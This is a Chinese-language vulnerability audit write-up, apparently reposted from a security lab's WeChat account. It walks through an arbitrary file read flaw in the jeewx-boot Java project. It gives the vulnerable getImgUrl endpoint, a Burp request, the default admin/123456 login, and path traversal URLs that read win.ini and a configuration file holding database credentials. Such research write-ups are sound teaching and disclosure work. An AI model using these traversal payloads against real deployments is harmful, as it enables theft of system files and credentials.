记录一次java任意文件读取漏洞审计

admin 2025年2月15日23:05:25评论12 views字数 1723阅读5分44秒阅读模式

1、首先安装git工具,我们打开命令行将当前项目最新版本1.3的源码拉取下来:

git clone https://gitee.com/jeecg/jeewx-boot.git

记录一次java任意文件读取漏洞审计

2、源码拉取成功后接下这我们先尝试用idea打开项目,尝试使用开发工具运行项目以方便后面的调试测试操作

记录一次java任意文件读取漏洞审计

ideajar包和组件拉取完成后尝试启动当前项目(具体idea导入项目操作请自行百度)

,当然还需要创建数据库并在项目配置文件中修改数据库连接信息

记录一次java任意文件读取漏洞审计

下面db目录中存放了数据库文件,创建数据库并导入数据库文件

记录一次java任意文件读取漏洞审计

数据库导入后刷新数据库信息,成功

记录一次java任意文件读取漏洞审计

3、接下来尝试使用idea运行项目

记录一次java任意文件读取漏洞审计

可以看到成功启动项目,现在我们通过浏览器成功访问,登陆尝试:

默认测试账号admin/123456

记录一次java任意文件读取漏洞审计

Ok,现在我们的整个开发环境部署成功,便于后面的运行调试

4、接下来我们将对当前项目暴露的任意文件读取漏洞(附编号:CNVD-2020-68561)进行操作分析,首先我们找到项目中存在文件读取的功能地址

记录一次java任意文件读取漏洞审计

5、通过分析文件操作相关功能发现系统存在外部路径可控相关问题,并且发现未对获取的路径进行过滤操作

记录一次java任意文件读取漏洞审计

6、我们直接运行环境当前项目,构造url路径与参数内容进行调试测试操作

7、找到class文件指向的请求地址

记录一次java任意文件读取漏洞审计

与当前类中文件请求方法所设置的请求地址进行拼接得到完整的功能接口路径

记录一次java任意文件读取漏洞审计

再加上参数名称imgurl成功构造出请求连接:http://localhost/goldeneggs/back/wxActGoldeneggsPrizes/getImgUrl?imgurl=123.txt

8、接下接我们登陆系统,然后使用burp随便抓取一个请求报文,修改路径为我们所构造好的接口地址:

GET /goldeneggs/back/wxActGoldeneggsPrizes/getImgUrl?imgurl=123.txt HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Cookie: _ga=GA1.1.441903222.1540260281; 14_vq=1; Hm_lvt_6f6dcdf1cf6beff0de1b03f3e959c679=1611815304; JSESSIONID=A6A4867FA83322B6B03AE13C7AB0EE66; Hm_lpvt_6f6dcdf1cf6beff0de1b03f3e959c679=1611817736Connection: closeUpgrade-Insecure-Requests: 1

查看一下相应状态,返回200说明路径存在,请求成功

记录一次java任意文件读取漏洞审计

9、接下来我们查看一下idea运行日志,提示文件路径未找到

记录一次java任意文件读取漏洞审计

10、根据idea运行错误日志回显提示,使用路径穿越方法调试出正确的系统文件路径,首先通过web请求尝试读取windows系统文件路径。

http://localhost/goldeneggs/back/wxActGoldeneggsPrizes/getImgUrl?imgurl=/../../../../../../../../../windows/win.ini

记录一次java任意文件读取漏洞审计

通过运行日志调试,尝试通过web请求获取web系统配置文件及数据库连接信息。

http://localhost/goldeneggs/back/wxActGoldeneggsPrizes/getImgUrl?imgurl=/../../../../../../../Desktop/jeewx-boot/jeewx-boot-start/src/main/resources/application-dev.yml

记录一次java任意文件读取漏洞审计

可以读取系统中的任意文件操作。

原文始发于微信公众号(陆吾安全攻防实验室):记录一次java任意文件读取漏洞审计

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月15日23:05:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记录一次java任意文件读取漏洞审计https://cn-sec.com/archives/1067343.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息